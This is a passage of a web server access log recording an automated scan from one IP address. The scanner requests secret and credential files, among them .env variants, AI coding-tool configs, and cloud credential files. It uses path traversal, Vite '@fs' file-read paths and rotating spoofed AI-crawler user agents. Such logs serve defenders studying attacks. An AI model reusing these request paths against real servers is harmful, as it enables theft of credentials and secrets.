AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.2620.32 Mobile Safari/537.36; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.openclaw/openclaw.json HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) Version/19.2 Safari/605.1.15" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.claude.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.8610.236 Safari/537.36; compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.local/share/opencode/auth.json HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.6 Mobile/15E148 Safari/604.1; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /@fs/home/ubuntu/.local/share/opencode/auth.json?raw?? HTTP/1.1" 200 12127 "-" "Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /@fs/root/.local/share/opencode/auth.json?raw?? HTTP/1.1" 200 12117 "-" "Mozilla/5.0 (compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.claude/settings.json HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.7505.103 Safari/537.36; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.mcp.json HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /__env.js HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /google.json HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/109.0.1494.47 Safari/537.36 Edg/109.0.1494.47" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /keys.json HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /gcp.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /tokens.json HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot) Chrome/85.0.2876.69 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /auth.json HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.6759.148 Safari/537.36; compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.auth.json HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.secrets.json HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /api_keys.json HTTP/1.1" 200 12087 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.claude/mcp.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.claude/.credentials.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15; compatible; Twitterbot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.cursor/config.json HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.cursor/settings.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /claude_desktop_config.json HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.vscode/mcp.json HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:143.14) Gecko/20100101 Firefox/143.14; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.windsurf/mcp.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.2332.234 Safari/537.36; compatible; Twitterbot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.codeium/settings.json HTTP/1.1" 200 12097 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.codeium/windsurf/mcp_config.json HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.929.134 Safari/537.36 Edg/120.0.929.134; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /ai.json HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/) Chrome/133.0.7017.181 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /llm_config.json HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Mobile/15E148 Safari/604.1; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /mcp_config.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot) Chrome/124.0.2285.48 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /mcp.json HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.3) Gecko/20100101 Firefox/78.3; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /ai_config.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.7426.141 Mobile Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /llm.json HTTP/1.1" 200 12081 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /api/aws.json HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.2152.219 Safari/537.36 Edg/131.0.2152.219; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.env.js HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /assets/env.js HTTP/1.1" 200 12090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /awsConfig.js HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.vite/manifest.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.5084.217 Safari/537.36; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /sw.js HTTP/1.1" 200 12078 "-" "Mozilla/5.0 (compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /login HTTP/1.1" 401 12072 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /health HTTP/1.1" 200 12078 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.8617.149 Safari/537.36 Edg/128.0.8617.149; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /admin HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.18) Gecko/20100101 Firefox/132.18; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /metrics HTTP/1.1" 200 12085 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.well-known/jwks.json HTTP/1.1" 200 12099 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /Dockerfile HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot) Chrome/147.0.2167.119 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /i.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.htpasswd HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots) Version/19.7 Mobile/15E148 Safari/604.1" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /pi.php HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /gc-service.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.7261.106 Mobile Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /gcp-service.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /gradle.properties HTTP/1.1" 200 12091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.gradle/gradle.properties HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.env.prod HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.8217.46 Safari/537.36; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /application.env HTTP/1.1" 200 12082 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.env~ HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0) Chrome/151.0.8938.220 Safari/537.36 Edg/151.0.8938.220" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /_next/../.env HTTP/1.1" 200 12080 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.6471.113 Mobile Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /_next/static/../.env HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com) Chrome/134.0.8123.221 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.bash_history HTTP/1.1" 200 12094 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.zsh_history HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.bash_profile HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/109.0.6245.174 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.gcp/credentials.json HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) Chrome/118.0.8092.63 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.gcp/service-account.json HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.7324.12 Safari/537.36; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /google-cloud-key.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /gcp-service-account.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:78.10) Gecko/20100101 Firefox/78.10; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /application_default_credentials.json HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com) Chrome/134.0.5832.11 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /service-principal.json HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /azure-credentials.json HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot) Chrome/114.0.7737.59 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.env.vault HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:121.1) Gecko/20100101 Firefox/121.1; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.flaskenv HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:132.2) Gecko/20100101 Firefox/132.2; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /config/master.key HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (compatible; WhatsApp/10.0.2.1)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.env.openai HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6909.56 Safari/537.36; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /.env.anthropic HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /openai.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; rv:105.13) Gecko/20100101 Firefox/105.13; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /anthropic.json HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /@fs/home/azureuser/.azure/credentials?raw?? HTTP/1.1" 200 12113 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /static../.azure/credentials HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /config/openai.json HTTP/1.1" 200 12087 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /static../.azure/accessTokens.json HTTP/1.1" 200 12101 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /media../.azure/credentials HTTP/1.1" 200 12100 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot) Chrome/147.0.1483.80 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /@fs/proc/self/cwd/.azure/credentials?raw?? HTTP/1.1" 200 12120 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /config/anthropic.json HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1) Chrome/136.0.4004.218 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:39 -0700] "GET /_next/../.azure/credentials HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html) Chrome/136.0.4486.241 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /.azure/config HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:105.4) Gecko/20100101 Firefox/105.4; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /home/ubuntu/.azure/credentials HTTP/1.1" 200 12109 "-" "Mozilla/5.0 (compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /home/ubuntu/.azure/accessTokens.json HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Mobile/15E148 Safari/604.1; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /home/azureuser/.azure/credentials HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.8510.99 Mobile Safari/537.36; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config.env HTTP/1.1" 200 12091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /azure.json HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.275.162 Mobile Safari/537.36; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /secrets.env HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php) Chrome/122.0.6492.64 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /sendgrid.env HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /app/.env.local HTTP/1.1" 200 12100 "-" "Mozilla/5.0 (compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /app/.env.production HTTP/1.1" 200 12091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /client/.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /dev/.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /backup/.env HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0) Chrome/133.0.8093.48 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /production/.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /staging/.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) Chrome/128.0.1173.64 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /.env.docker HTTP/1.1" 200 12087 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /.gitlab-ci.yml HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.18) Gecko/20100101 Firefox/127.18; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /.github/workflows/deploy.yml HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com) Chrome/118.0.3726.10 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /.azure/accessTokens.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:133.15) Gecko/20100101 Firefox/133.15; compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /.azure/azureProfile.json HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html) Chrome/126.0.1084.241 Safari/537.36 Edg/126.0.1084.241" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /creds.json HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1) Chrome/122.0.2276.141 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /secret.json HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /aws-credentials.json HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /appsettings.json HTTP/1.1" 200 12097 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /appsettings.Development.json HTTP/1.1" 200 12096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /appsettings.Production.json HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.13) Gecko/20100101 Firefox/128.13; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - 